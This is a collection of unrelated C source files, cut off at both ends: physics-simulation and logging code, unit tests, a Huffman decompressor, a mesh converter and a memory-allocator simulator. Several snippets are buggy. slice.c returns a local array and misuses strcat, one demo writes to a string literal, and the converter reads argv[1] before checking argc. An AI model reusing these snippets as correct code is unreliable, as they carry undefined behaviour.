// a[i][j] = 10.0*(double)i + (double)j;
// // a[i][j] = 1;
// }
// }
// for(int i=0;i<10;i++){
// for(int j=0;j<10;j++){
// printf("%lf, ",a[i][j]);
// }
// printf("\n");
// }
// make_arr(arr1,arr2);
// printf("%lf\n",arr2[1]);
return 0;
}
|
C
|
/// \file lbm_common.h
/// \brief Common structures and functions shared between the D2Q9 and D3Q19 implementations.
//
// Copyright (c) 2014, Christian B. Mendl
// All rights reserved.
// http://christian.mendl.net
//
// This program is free software; you can redistribute it and/or
// modify it under the terms of the Simplified BSD License
// http://www.opensource.org/licenses/bsd-license.php
//
// Reference:
// Nils Thuerey, Physically based animation of free surface flows with the lattice Boltzmann method,
// PhD thesis, University of Erlangen-Nuremberg (2007)
//_______________________________________________________________________________________________________________________
//
#ifndef LBM_COMMON_H
#define LBM_COMMON_H
#include "platform.h"
#include <assert.h>
//_______________________________________________________________________________________________________________________
///
/// \brief Bit masks for the various cell types and neighborhood flags
///
enum cellType
{
CT_OBSTACLE = 1 << 0,
CT_FLUID = 1 << 1,
CT_INTERFACE = 1 << 2,
CT_EMPTY = 1 << 3,
// neighborhood flags, OR'ed with actual cell type
CT_NO_FLUID_NEIGH = 1 << 4,
CT_NO_EMPTY_NEIGH = 1 << 5,
CT_NO_IFACE_NEIGH = 1 << 6,
// changing the maximum value here requires adapting the temporary cell types in 'UpdateTypesLBMStep(...)'
};
//_______________________________________________________________________________________________________________________
//
static const real rhoA = 1; //!< atmospheric pressure
static const real v_max = (real)0.816496580927726; //!< set maximum velocity to sqrt(2/3), such that f_eq[0] >= 0
static inline real CalculateMassExchange(const int type, const int type_neigh, const real fi_neigh, const real fi_inv) CONST_FUNC;
//_______________________________________________________________________________________________________________________
///
/// \brief Calculate mass exchange such that undesired interface cells to fill or empty
///
static inline real CalculateMassExchange(const int type, const int type_neigh, const real fi_neigh, const real fi_inv)
{
// Table 4.1 in Nils Thuerey's PhD thesis
if (type & CT_NO_FLUID_NEIGH)
{
assert((type & CT_NO_EMPTY_NEIGH) == 0);
if (type_neigh & CT_NO_FLUID_NEIGH)
{
return fi_neigh - fi_inv;
}
else
{
// neighbor is standard cell or CT_NO_EMPTY_NEIGH
return -fi_inv;
}
}
else if (type & CT_NO_EMPTY_NEIGH)
{
if (type_neigh & CT_NO_EMPTY_NEIGH)
{
return fi_neigh - fi_inv;
}
else
{
// neighbor is standard cell or CT_NO_FLUID_NEIGH
return fi_neigh;
}
}
else
{
// current cell is standard cell
if (type_neigh & CT_NO_FLUID_NEIGH)
{
return fi_neigh;
}
else if (type_neigh & CT_NO_EMPTY_NEIGH)
{
return -fi_inv;
}
else
{
// neighbor is standard cell
return fi_neigh - fi_inv;
}
}
}
#endif
|
C
|
#include "../headers/logger.h"
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <stdarg.h>
#include <sys/time.h>
int LOG_LEVEL = LOG_INFO;
//int LOG_LEVEL = LOG_TRACE;
void setLogLevel(int level){
LOG_LEVEL = level;
}
char *getCurrentDate(){
time_t t;
time(&t);
char* timeStr = ctime(&t);
timeStr[strlen(timeStr)-1] = '\0';
return timeStr;
}
/*
* Ver : http://www.swig.org/Doc1.3/Varargs.html
*
* void blog(int level, char* format, ...)
*
* Although this code might compile, it won't do what you expect.
* This is because the call to printf() is compiled as a procedure call involving
* only two arguments. However, clearly a two-argument configuration of the call stack is
* completely wrong if your intent is to pass an arbitrary number of arguments to the real printf().
* Needless to say, it won't work.
*
* va_list argptr;
* va_start(argptr, format);
* sprintf(msgBuffer, format, argptr);
* va_end(argptr);
*
* void blog(int level, char* format, ...){}
*/
void blog(int level, char *format, ...){
char msg[MAXSIZEMSG];
va_list argptr;
va_start(argptr, format);
vsnprintf(msg, MAXSIZEMSG, format, argptr);
va_end(argptr);
if(level > LOG_LEVEL)
return;
if(level == LOG_INFO)
printf("[INFO] <%s> %s\n", getCurrentDate(), msg);
else if(level == LOG_DEBUG)
printf("[DEBUG] <%s> %s\n", getCurrentDate(), msg);
else if(level == LOG_WARN)
printf("[WARN] <%s> %s\n", getCurrentDate(), msg);
else if(level == LOG_TRACE)
printf("[TRACE] <%s> %s\n", getCurrentDate(), msg);
else if(level == LOG_ERROR){
if(errno == 0)
printf("[ERROR] <%s> %s\n", getCurrentDate(), msg);
else
printf("[ERROR] <%s> %s\n\t%s\n", getCurrentDate(), msg, strerror(errno));
errno = 0;
}
fflush(stdout);
}
|
C
|
/* slice.c */
/* Get a slice from an array */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <ctype.h>
char *slice(char *arrname, int start, int end)
{
/* An array to hold the slice */
char retarray[end-start];
int i;
for(i=start;i<end;i++)
{
strcat(retarray, (char)arrname[i]);
}
return retarray;
}
char *myarray[] = "Mary had a little lamb";
int main()
{
printf("Slice is %s \n", slice(myarray, 5, 11) );
return 0;
}
|
C
|
/* Output to stdout a paragraph from word up to (but not including)
FINISH, which must be in the next_break chain from word. */
static void
put_paragraph (WORD *finish)
{
WORD *w;
put_line (word, first_indent);
for (w = word->next_break; w != finish; w = w->next_break)
put_line (w, other_indent);
}
|
C
|
#include "test_utilities.h"
#include <stdlib.h>
#include "cache.h"
#include <string.h>
#define ASSERT_TRUE(x) ASSERT_TEST(x);
#define ASSERT_EQUAL(x,y) ASSERT_TEST((x) == (y));
#define ASSERT_EQUAL_STR(x,y) ASSERT_TEST(strcmp((x),(y)) == 0);
#define ASSERT_SUCCESS(x) ASSERT_EQUAL((x), CACHE_SUCCESS)
#define ASSERT_NOT_NULL(x) ASSERT_TRUE(x)
#define ASSERT_NULL(x) ASSERT_TRUE(!x)
#define LETTERS_NUM 26
static Cache cache = NULL;
static char* dollar_sign = "$tring";
static char* five = "5tring";
static char* australia = "australia";
static char* austria = "Austria";
static char* argentina = "argentina";
static char* japan = "Japan";
static char* jordan = "jordan";
static char* south_africa = "South africa";
static char* south_korea = "south korea";
static char* zimbabwe = "Zimbabwe";
static char* all_countries[] = {"australia",
"Austria",
"argentina",
"Japan",
"jordan",
"South africa",
"south korea",
"Zimbabwe"};
/**
* Tests the generic cache ADT by creating and manipulating
* a cache of strings with a container of size 256, where
* the i'th cell in the container contains all strings
* that start with the i'th letter in the alphabet.
*/
/** Function to be used for copying a string into the cache */
static CacheElement copyString(CacheElement str) {
if (!str) {
return NULL;
}
char* copy = malloc(strlen(str) + 1);
if (!copy) {
return NULL;
}
return strcpy(copy, str);
}
/** Function to be used by the cache for freeing elements */
static void freeString(CacheElement str) {
free(str);
}
/** Function for comparing two elements in the cache */
static int compareStrings(CacheElement element1, CacheElement element2) {
return strcmp(element1, element2);
}
/** Function to compute the key for an element in the cache */
static int getFirstLetter(CacheElement element) {
char first_char = *(char*)element;
if (first_char <= 'Z' && first_char >= 'A')
return first_char - 'A';
else
return first_char - 'a';
}
bool setUpCache(char* strings[], int num) {
cache = cacheCreate(LETTERS_NUM,
freeString,
copyString,
compareStrings,
getFirstLetter);
ASSERT_NOT_NULL(cache);
for (int i = 0; i < num; i++) {
ASSERT_SUCCESS(cachePush(cache, strings[i]));
}
return true;
}
void tearDownCache() {
cacheDestroy(cache);
}
bool cacheTestPushAndFree() {
if (!setUpCache(NULL, 0))
return false;
ASSERT_SUCCESS(cachePush(cache, australia));
ASSERT_TRUE(cacheIsIn(cache, australia));
ASSERT_SUCCESS(cachePush(cache, austria));
ASSERT_TRUE(cacheIsIn(cache, austria));
ASSERT_SUCCESS(cachePush(cache, argentina));
ASSERT_TRUE(cacheIsIn(cache, argentina));
ASSERT_EQUAL(cachePush(cache, austria), CACHE_ITEM_ALREADY_EXISTS);
ASSERT_SUCCESS(cachePush(cache, japan));
ASSERT_TRUE(cacheIsIn(cache, japan));
ASSERT_SUCCESS(cachePush(cache, jordan));
ASSERT_TRUE(cacheIsIn(cache, jordan));
ASSERT_SUCCESS(cachePush(cache, south_africa));
ASSERT_TRUE(cacheIsIn(cache, south_africa));
ASSERT_SUCCESS(cachePush(cache, south_korea));
ASSERT_TRUE(cacheIsIn(cache, south_korea));
ASSERT_SUCCESS(cachePush(cache, zimbabwe));
ASSERT_TRUE(cacheIsIn(cache, zimbabwe));
ASSERT_EQUAL(cachePush(cache, zimbabwe), CACHE_ITEM_ALREADY_EXISTS);
ASSERT_SUCCESS(cacheFreeElement(cache, australia));
ASSERT_TRUE(!cacheIsIn(cache, australia));
ASSERT_SUCCESS(cacheFreeElement(cache, austria));
ASSERT_TRUE(!cacheIsIn(cache, austria));
ASSERT_SUCCESS(cacheFreeElement(cache, argentina));
ASSERT_TRUE(!cacheIsIn(cache, argentina));
ASSERT_EQUAL(cacheFreeElement(cache, austria), CACHE_ITEM_DOES_NOT_EXIST);
ASSERT_SUCCESS(cacheFreeElement(cache, japan));
ASSERT_TRUE(!cacheIsIn(cache, japan));
ASSERT_SUCCESS(cacheFreeElement(cache, jordan));
ASSERT_TRUE(!cacheIsIn(cache, jordan));
ASSERT_SUCCESS(cacheFreeElement(cache, south_africa));
ASSERT_TRUE(!cacheIsIn(cache, south_africa));
ASSERT_SUCCESS(cacheFreeElement(cache, south_korea));
ASSERT_TRUE(!cacheIsIn(cache, south_korea));
ASSERT_SUCCESS(cacheFreeElement(cache, zimbabwe));
ASSERT_TRUE(!cacheIsIn(cache, zimbabwe));
ASSERT_EQUAL(cacheFreeElement(cache, zimbabwe), CACHE_ITEM_DOES_NOT_EXIST);
cacheDestroy(cache);
return true;
}
bool cacheTestPushFailure() {
if (!setUpCache(NULL, 0))
return false;
ASSERT_EQUAL(cachePush(NULL, australia), CACHE_NULL_ARGUMENT);
ASSERT_EQUAL(cachePush(cache, five), CACHE_OUT_OF_RANGE);
ASSERT_EQUAL(cachePush(cache, dollar_sign), CACHE_OUT_OF_RANGE);
tearDownCache();
return true;
}
bool cacheTestFreeElementFailure() {
if (!setUpCache(NULL, 0))
return false;
ASSERT_EQUAL(cacheFreeElement(NULL, australia), CACHE_NULL_ARGUMENT);
ASSERT_TRUE(
cacheFreeElement(cache, dollar_sign) == CACHE_ITEM_DOES_NOT_EXIST);
tearDownCache();
return true;
}
bool cacheTestExtractElementByKey() {
if (!setUpCache(all_countries, 8))
return false;
char* starts_with_a;
bool visited_australia = false;
bool visited_austria = false;
bool visited_argentina = false;
while ((starts_with_a = cacheExtractElementByKey(cache, 'a' - 'a'))
!= NULL) {
if (strcmp(starts_with_a, australia) == 0) {
ASSERT_TRUE(!visited_australia);
ASSERT_TRUE(!cacheIsIn(cache, australia));
visited_australia = true;
} else if (strcmp(starts_with_a, austria) == 0) {
ASSERT_TRUE(!visited_austria);
ASSERT_TRUE(!cacheIsIn(cache, austria));
visited_austria = true;
} else if (strcmp(starts_with_a, argentina) == 0) {
ASSERT_TRUE(!visited_argentina);
ASSERT_TRUE(!cacheIsIn(cache, argentina));
visited_argentina = true;
} else
ASSERT_TRUE(0);
freeString(starts_with_a);
}
ASSERT_TRUE(visited_australia);
ASSERT_TRUE(visited_austria);
ASSERT_TRUE(visited_argentina);
ASSERT_NULL(cacheExtractElementByKey(cache, 'a' - 'a'));
char* starts_with_z = cacheExtractElementByKey(cache, 'z' - 'a');
ASSERT_EQUAL_STR(zimbabwe, starts_with_z);
freeString(starts_with_z);
tearDownCache();
return true;
}
bool cacheTestExtractElementByKeyFailure() {
if (!setUpCache(NULL, 0))
return false;
ASSERT_NULL(cacheExtractElementByKey(NULL, 0));
ASSERT_NULL(cacheExtractElementByKey(cache, 50));
ASSERT_NULL(cacheExtractElementByKey(cache, -12));
ASSERT_NULL(cacheExtractElementByKey(cache, 26));
tearDownCache();
return true;
}
bool cacheTestClear() {
if (!setUpCache(NULL, 0))
return false;
ASSERT_EQUAL(cacheClear(NULL), CACHE_NULL_ARGUMENT);
ASSERT_SUCCESS(cachePush(cache, australia));
ASSERT_SUCCESS(cacheClear(cache));
ASSERT_TRUE(!cacheIsIn(cache, australia));
ASSERT_SUCCESS(cacheClear(cache));
tearDownCache();
return true;
}
bool cacheTests(int num)
{
switch(num)
{
case 0:
RUN_TEST(cacheTestPushAndFree);
RUN_TEST(cacheTestPushFailure);
RUN_TEST(cacheTestFreeElementFailure);
RUN_TEST(cacheTestExtractElementByKey);
RUN_TEST(cacheTestExtractElementByKeyFailure);
RUN_TEST(cacheTestClear);
break;
case 13:
RUN_TEST(cacheTestPushAndFree);
break;
case 14:
RUN_TEST(cacheTestPushFailure);
break;
case 15:
RUN_TEST(cacheTestFreeElementFailure);
break;
case 16:
RUN_TEST(cacheTestExtractElementByKey);
break;
case 17:
RUN_TEST(cacheTestExtractElementByKeyFailure);
break;
case 18:
RUN_TEST(cacheTestClear);
break;
default:
printf("ERROR in cache test\n");
return false;
break;
}
return true;
}
|
C
|
/****************************************************************************
* Puff.c
*
* Computer Science 50
* Problem Set 6
*
*
***************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include "forest.h"
#include "huffile.h"
#include "tree.h"
int main(int argc, char* argv[])
{
// ensure proper usage
if (argc != 3)
{
printf("Usage: infile outfile\n");
return 1;
}
char* infile = argv[1];
char* outfile = argv[2];
// open input file
Huffile* inptr = hfopen(infile, "r");
if (inptr == NULL)
{
printf("Could not open %s.\n", infile);
return 1;
}
// open output file
FILE* outptr = fopen(outfile, "w");
if (outptr == NULL)
{
hfclose(inptr);
printf("Could not create %s.\n", outfile);
return 1;
}
// read file header
Huffeader header;
if(!hread(&header, inptr))
{
hfclose(inptr);
fclose(outptr);
printf("Infile is not huffed.\n");
return 1;
}
// check header magic number against Huffile magic number
if(header.magic != MAGIC)
{
hfclose(inptr);
fclose(outptr);
printf("Infile is not huffed.\n");
return 1;
}
Forest* forest = mkforest();
// calculate the valid checksum (sum of the frequencies)
// simultaneously, plant the forest (create a node for each non-zero element)
int validChecksum = 0;
for(int i = 0, size = sizeof(header.frequencies) / sizeof(int); i < size; i++)
{
if(header.frequencies[i] > 0)
{
validChecksum += header.frequencies[i];
Tree* tree = mktree();
tree->symbol = i;
tree->frequency = header.frequencies[i];
tree->left = NULL;
tree->right = NULL;
plant(forest, tree);
}
}
// check the calculated checksum against the header checksum
if(header.checksum != validChecksum || header.checksum == 0)
{
hfclose(inptr);
fclose(outptr);
printf("Infile is not huffed.\n");
return 1;
}
// create the Huffman tree by picking the two smallest trees and combining,
// then replanting until only one node remains (the root)
Tree* leftTree;
Tree* rightTree;
Tree* parentTree;
bool rootFound = false;
while(!rootFound)
{
leftTree = pick(forest);
rightTree = pick(forest);
if(rightTree)
{
parentTree = mktree();
parentTree->frequency = leftTree->frequency + rightTree->frequency;
parentTree->left = leftTree;
parentTree->right = rightTree;
plant(forest, parentTree);
}
else
{
// no rightTree, therefore node remaining is the root
parentTree = leftTree;
rootFound = true;
}
}
// read the infile bit-by-bit, outputting the leaf nodes to the outfile as they
// are found
int c = 0;
Tree* tree = parentTree;
while(c >= 0)
{
c = bread(inptr);
if(c == 0 && (tree->left))
{
tree = tree->left;
}
else if(c == 1)
{
tree = tree->right;
}
if(c>= 0 && (!tree->left || !tree->right))
{
fputc(tree->symbol, outptr);
tree = parentTree;
}
}
// close infile
hfclose(inptr);
// close outfile
fclose(outptr);
// burn the forest
rmforest(forest);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
typedef struct aluno
{
float n1,n2,media;
long int matricula;
int idade;
int turno;
int altura;
int curso;
}aluno;
int main()
{
aluno aluno1;
printf("\n Digite a n1 do aluno: ");
scanf("%f",&aluno1.n1);
printf("\n Digite a n2 do aluno: ");
scanf("%f",&aluno1.n2);
aluno1.media = (aluno1.n1 + aluno1.n2) / 2;
printf("\n Digite a idade do aluno: ");
scanf("%d",&aluno1.idade);
printf("\n Digite o codigo do turno do aluno: ");
scanf("%d",&aluno1.turno);
printf("\n Nota 1 lida : %.2f",aluno1.n1);
printf("\n Nota 2 lida : %.2f",aluno1.n2);
printf("\n Media Calculada: %.2f",aluno1.media);
printf("\n");
return 0;
}
|
C
|
// Online C++ compiler to run C++ program online
#include <iostream>
#include <math.h>
int compare(const void *a, const void *b)
{
if (abs(*(int *)a) > abs(*(int *)b))
return 1;
return 0;
}
void bubble_sort(int *a, int n, int (*compare)(const void *a, const void *b))
{
int i, j, temp;
for (i = 0; i < n; i++)
{
for (j = 0; j < n - 1; j++)
{
if (compare (&a[j], &a[j + 1]))
{
temp = a[j];
a[j] = a[j + 1];
a[j + 1] = temp;
}
}
}
}
int main() {
int i, n;
int a[] = { 34, 65, 2, -1, -99};
n = sizeof(a)/sizeof(a[0]);
bubble_sort(a, n, compare);
for (i = 0; i < n; i++)
printf("%d ", a[i]);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <time.h>
#include <fcntl.h>
#include <unistd.h>
// usage: jsonbench <repeat> <buffer-size> <json-file>
int jsonbench(const char buffer[], size_t filesize, size_t stride);
int main(int argc, const char *argv[]) {
if (argc != 4) {
fprintf(stderr, "illegal number of arguments\n");
return 1;
}
char *endptr = NULL;
unsigned long int repeat = strtoul(argv[1], &endptr, 10);
if (!*argv[1] || *endptr) {
fprintf(stderr, "illegal repeat: %s\n", argv[1]);
return 1;
}
unsigned long int buffer_size = strtoul(argv[2], &endptr, 10);
if (!*argv[2] || *endptr || buffer_size == 0) {
fprintf(stderr, "illegal buffer size: %s\n", argv[2]);
return 1;
}
const char *filename = argv[3];
int fd = open(filename, O_RDONLY);
if (fd < 0) {
perror(filename);
return 1;
}
struct stat meta;
if (fstat(fd, &meta) != 0) {
perror(filename);
close(fd);
return 1;
}
char *buffer = malloc(meta.st_size + 1);
if (!buffer) {
perror("allocating buffer");
close(fd);
return 1;
}
if (read(fd, buffer, meta.st_size) != meta.st_size) {
perror(filename);
free(buffer);
close(fd);
return 1;
}
// ensure null termination
buffer[meta.st_size] = 0;
unsigned long long duration = 0;
for (unsigned long int i = 0; i < repeat; ++ i) {
clock_t start = clock();
if (jsonbench(buffer, meta.st_size, buffer_size) != 0) {
fprintf(stderr, "error running jsonbench\n");
free(buffer);
close(fd);
return 1;
}
clock_t end = clock();
if (start == (clock_t)-1 || end == (clock_t)-1) {
fprintf(stderr, "clock error\n");
free(buffer);
close(fd);
return 1;
}
duration += end - start;
}
printf("%llu\n", duration / (CLOCKS_PER_SEC / 1000));
free(buffer);
close(fd);
return 0;
}
|
C
|
#include <stdio.h>
#include <ctype.h>
#include "libgetch.h"
int getpoint(char *s)
{
int c;
while ((c = getch()) == ' ' || c == '\t')
;
if (c == EOF || !isdigit(c))
return c;
for (*s++ = c; isdigit(c = getch()); *s++ = c)
;
*s = '\0';
return NUMBER;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
void printWhite(int iCount2);
void printBlack(int iCount);
int main()
{
int i;
int n = 0;
printf("P2\n800 800\n255\n");
while(n < 8)
{
if((n % 2) == 0)
{
for(i = 0; i < 100; i++)
{
printBlack(0);
printf("\n");
}
n++;
}
else
{
for(i = 0; i < 100; i++)
{
printWhite(0);
printf("\n");
}
n++;
}
}
return 0;
}
void printBlack(int iCount)
{
int i;
if(iCount == 8)
return;
for(i = 0; i < 100; i++)
{
printf("0 ");
}
printWhite(iCount + 1);
}
void printWhite(int iCount2)
{
int j;
if(iCount2 == 8)
return;
for(j = 0; j < 100; j++)
{
printf("255 ");
}
printBlack(iCount2 + 1);
}
|
C
|
#include <stdio.h>
int main(){
// 如果定义了指针数组,此时是不能修改的,会报错bus error
char *p="bcde"; // 字符指针定义后存在于常量区,只能读,不能写入
*(p+1)='m';
// 定义的是正常字符串数组,可以修改
char a[]="bcde"; // 字符数组存在于全局区或者栈区,既可以读也可以写
a[1]='a';
printf("%s",a);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
if ( strcmp(argv[1],"help") == 0)
{
printf("\nUsage: %s vtk_file model_base_name\n", argv[0] );
printf("Converts vtk file to carp format (outputs .pts, .elem, .lon, and .tris)\n");
printf(" * If Part_Id=0 in vtk file, .lon outputs '0 0 0'\n");
printf(" * If Part_Id>0 in vtk file, .lon outputs '1 0 0'\n");
printf(" * .tris will be empty unless triangular elements are detected in .vtk file\n");
printf(" * Use Meshalyzer 'Compute Surfaces' to generate surface files if needed\n");
printf("Written by Hermenegild Arevalo, August 12, 2014\n\n");
exit(0);
}
if ( argc != 3 )
{
printf( "\nUsage: %s vtk_file model_base_name\n", argv[0] );
printf( "type '%s help' for help\n\n", argv[0] );
exit(0);
}
else
{
FILE *input, *output, *input2, *output2;
char read[200],x[100],y[100],z[100],a[200],b[200],c[200],d[200],e[200],f[200],g[200],h[200];
int i,j,k,type,tiss,count,temp,numtissid;
int m,n,o,p;
input=fopen(argv[1],"r");
sprintf(read,"%s.pts",argv[2]);
output=fopen(read,"w");
while(strcmp(read,"$Nodes"))
{
fscanf(input,"%s",read);
}
fscanf(input,"%d",&i);
fprintf(output,"%d\n",i);
for(j=0;j<i;j++)
{
fscanf(input,"%s %s %s %s",a,x,y,z);
fprintf(output,"%s %s %s\n",x,y,z);
}
fclose(output);
sprintf(read,"%s.elem",argv[2]);
output=fopen(read,"w");
sprintf(read,"%s.tris",argv[2]);
output2=fopen(read,"w");
while(strcmp(read,"$Elements"))
{
fscanf(input,"%s",read);
//printf("%s\n",read);
}
fscanf(input,"%d",&i);
fprintf(output,"%d\n",i);
//fscanf(input,"%s",read);
count=0;
for(j=0;j<i;j++)
{
fscanf(input,"%d %d",&temp,&type);
//printf("%d %d \n", temp, type);
if(type==4)
{
fscanf(input,"%d",&numtissid);
for(k=0;k<numtissid;k++)
{
fscanf(input,"%d",&temp);
}
fscanf(input,"%d %d %d %d",&m,&n,&o,&p);
fprintf(output,"Tt %d %d %d %d 1\n",m-1,n-1,o-1,p-1);
count++;
}
if(type==2)
{
fscanf(input,"%d",&numtissid);
for(k=0;k<numtissid;k++)
{
fscanf(input,"%d",&temp);
}
fscanf(input,"%d %d %d",&m,&n,&o);
fprintf(output2,"%d %d %d 1\n",m-1,n-1,o-1);
}
if(type==1)
{
fscanf(input,"%d",&numtissid);
for(k=0;k<numtissid;k++)
{
fscanf(input,"%d",&temp);
}
fscanf(input,"%d %d",&m,&n);
}
}
fclose(output);
fclose(output2);
/* sprintf(read,".%s.elem_tmp",argv[2]); */
/* input2=fopen(read,"r"); */
/* sprintf(read,"%s.elem",argv[2]); */
/* output=fopen(read,"w"); */
/* sprintf(read,"%s.lon",argv[2]); */
/* output2=fopen(read,"w"); */
/* fscanf(input2,"%d",&i); */
/* fprintf(output,"%d\n",count); */
/* for(j=0;j<count;j++) */
/* { */
/* fscanf(input,"%d",&tiss); */
/* fscanf(input2,"%d",&type); */
/* switch(type){ */
/* //case 3: */
/* //fscanf(input2,"%s %s %s",a,b,c); */
/* //fprintf(output,"Tr %s %s %s %d\n",a,b,c,tiss); */
/* //break; */
/* case 4: */
/* fscanf(input2,"%s %s %s %s",a,b,c,d); */
/* fprintf(output,"Tt %s %s %s %s %d\n",a,b,c,d,tiss); */
/* break; */
/* case 5: */
/* fscanf(input2,"%s %s %s %s %s",a,b,c,d,e); */
/* fprintf(output,"Py %s %s %s %s %s %d\n",a,b,c,d,e,tiss); */
/* break; */
/* case 6: */
/* fscanf(input2,"%s %s %s %s %s %s",a,b,c,d,e,f); */
/* fprintf(output,"Pr %s %s %s %s %s %s %d\n",a,b,c,d,e,f,tiss); */
/* break; */
/* case 8: */
/* fscanf(input2,"%s %s %s %s %s %s %s %s",a,b,c,d,e,f,g,h); */
/* fprintf(output,"Hx %s %s %s %s %s %s %s %s %d\n",a,b,c,d,e,f,g,h,tiss); */
/* break; */
/* } */
/* if(tiss==0) */
/* fprintf(output2,"0 0 0\n"); */
/* else */
/* fprintf(output2,"1 0 0\n"); */
/* } */
/* fclose(input); */
/* fclose(input2); */
/* fclose(output); */
/* fclose(output2); */
/* /\* sprintf(read,".%s.elem_tmp",argv[2]); *\/ */
/* /\* remove(read); *\/ */
}
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
//basic parameters
#define PROCESS_NAME_LEN 32
#define MIN_SLICE 10
#define DEFAULT_MEM_SIZE 1024
#define DEFAULT_MEM_START 0
//memory alloc algorithm
#define MA_FF 1
#define MA_BF 2
#define MA_WF 3
//default parameters
int mem_size=DEFAULT_MEM_SIZE;
int ma_algorithm=MA_FF;
static int pid=0;
int flag=0;
//free memoty block
struct free_block_type{
int size;
int start_addr;
struct free_block_type *next;
};
//blocks allocated by process
struct allocated_block{
int pid;
int size;
int start_addr;
char process_name[PROCESS_NAME_LEN];
struct allocated_block *next;
};
struct allocated_block *allocated_block_head=NULL;
//head of free blocks
struct free_block_type *free_block=NULL;
void king(struct free_block_type *h){
struct free_block_type *p;
if(h->next!=NULL){
if((h->start_addr+h->size)==h->next->start_addr){
p=h->next;
h->size=h->size+p->size;
h->next=p->next;
free(p);
king(h);
}else{
if(h->next!=NULL)king(h->next);
}
}
}
void freenode(struct free_block_type *h){
struct free_block_type *p;
while(h!=NULL){
p=h;
h=h->next;
free(p);
}
}
void freenod1(struct allocated_block *h){
struct allocated_block *p;
while(h!=NULL){
p=h;
h=h->next;
free(p);
}
}
struct free_block_type * init_free_block(int size){
struct free_block_type *fb;
fb=(struct free_block_type *)malloc(sizeof(struct free_block_type));
if(fb==NULL){
fprintf(stdout,"Out of memoryi\n");
return NULL;
}
fb->size=size;
fb->start_addr=DEFAULT_MEM_START;
fb->next=NULL;
return fb;
}
void display_menu(){
fprintf(stdout,"\n");
fprintf(stdout,"1 Set size of memory (default=%d)\n",DEFAULT_MEM_SIZE);
fprintf(stdout,"2 Set memory allocate algorithm\n");
fprintf(stdout,"3 Create a process\n");
fprintf(stdout,"4 Kill a process\n");
fprintf(stdout,"5 Show memory statu\n");
fprintf(stdout,"0 Exit\n");
return;
}
//set the size of memory
int set_mem_size(){
int size;
if(flag!=0){
fprintf(stdout,"Memory already set\n");
return 0;
}
fprintf(stdout,"Memory Size=");
fscanf(stdin,"%d",&size);
if(size>0){
mem_size=size;
free_block->size=mem_size;
}
flag=1;
return size;
}
//first fit
void rearrange_ff(){
struct free_block_type *head,*p,*q,*s,*m,*h;
h=free_block;
m=free_block;
head=(struct free_block_type *)malloc(sizeof(struct free_block_type));
head->next=NULL;
s=head;
p=(struct free_block_type *)malloc(sizeof(struct free_block_type));
p->size=h->size;
p->start_addr=h->start_addr;
s->next=p;
p->next=NULL;
h=h->next;
while(h!=NULL){
q=(struct free_block_type *)malloc(sizeof (struct free_block_type));
q->size=h->size;
q->start_addr=h->start_addr;
h=h->next;
head=s;
p=head->next;
while(head!=NULL){
if(head->next==NULL){
head->next=q;
q->next=NULL;
break;
}else if(q->start_addr<p->start_addr){
head->next=q;
q->next=p;
break;
}else{
head=head->next;
p=head->next;
}
}
}
freenode(m);
m=s;
s=s->next;
free(m);
free_block=s;
}
//best fit
void rearrange_bf(){
struct free_block_type *head,*p,*q,*s,*m,*h;
h=free_block;
m=free_block;
head=(struct free_block_type *)malloc(sizeof(struct free_block_type));
head->next=NULL;
s=head;
p=(struct free_block_type *)malloc(sizeof(struct free_block_type));
p->size=h->size;
p->start_addr=h->start_addr;
s->next=p;
p->next=NULL;
h=h->next;
while(h!=NULL){
q=(struct free_block_type *)malloc(sizeof(struct free_block_type));
q->size=h->size;
q->start_addr=h->start_addr;
h=h->next;
head=s;
p=head->next;
while(head!=NULL){
if(head->next==NULL){
head->next=q;
q->next=NULL;
break;
}else if(q->size<p->size){
head->next=q;
q->next=p;
break;
}else{
head=head->next;
p=head->next;
}
}
}
freenode(m);
m=s;
s=s->next;
free(m);
free_block=s;
}
//worst fit
void rearrange_wf(){
struct free_block_type *head,*p,*q,*s,*m,*h;
h=free_block;
m=free_block;
head=(struct free_block_type *)malloc(sizeof(struct free_block_type));
head->next=NULL;
s=head;
p=(struct free_block_type *)malloc(sizeof(struct free_block_type));
p->size=h->size;
p->start_addr=h->start_addr;
s->next=p;
p->next=NULL;
h=h->next;
while(h!=NULL){
q=(struct free_block_type *)malloc(sizeof(struct free_block_type));
q->size=h->size;
q->start_addr=h->start_addr;
h=h->next;
head=s;
p=head->next;
while(head!=NULL){
if(head->next==NULL){
head->next=q;
q->next=NULL;
break;
}else if(q->size>p->size){
head->next=q;
q->next=p;
break;
}else{
head=head->next;
p=head->next;
}
}
}
freenode(m);
m=s;
s=s->next;
free(m);
free_block=s;
}
//rearrange memory blocks
void rearrange(int algorithm){
switch(algorithm){
case MA_FF:
rearrange_ff();
break;
case MA_BF:
rearrange_bf();
break;
case MA_WF:
rearrange_wf();
break;
default:
fprintf(stdout,"Algorithm error\n");
break;
}
}
//set memory rearrange algorithm
void set_algorithm(){
int algorithm;
fprintf(stdout,"1 First fit\n");
fprintf(stdout,"2 Best fit\n");
fprintf(stdout,"3 Worst fit\n");
fscanf(stdin,"%d",&algorithm);
if(algorithm>0&&algorithm<4){
ma_algorithm=algorithm;
}else{
fprintf(stdout,"Using default algorithm %d\n",ma_algorithm);
}
rearrange(ma_algorithm);
}
//allocate memory
int allocate_mem(struct allocated_block *ab){
struct free_block_type *h;
int request_size=ab->size;
rearrange(ma_algorithm);
h=free_block;
while(h!=NULL){
if(h->size>=request_size)break;
h=h->next;
}
if(h==NULL){
fprintf(stdout,"Out of memory\n");
return -1;
}else{
if(h->size-request_size<MIN_SLICE)
h->size=0;
else
h->size=h->size-request_size;
ab->start_addr=h->start_addr;
h->start_addr=ab->start_addr+ab->size;
fprintf(stdout,"Memory allocate succeed\n");
return ab->size;
}
}
struct allocated_block * find_process(int p){
struct allocated_block *h;
h=allocated_block_head;
while(h!=NULL){
if(h->pid==p)break;
else h=h->next;
}
return h;
}
//free memory
int free_mem(struct allocated_block *ab){
int algorithm=ma_algorithm;
struct free_block_type *h,*fbt;
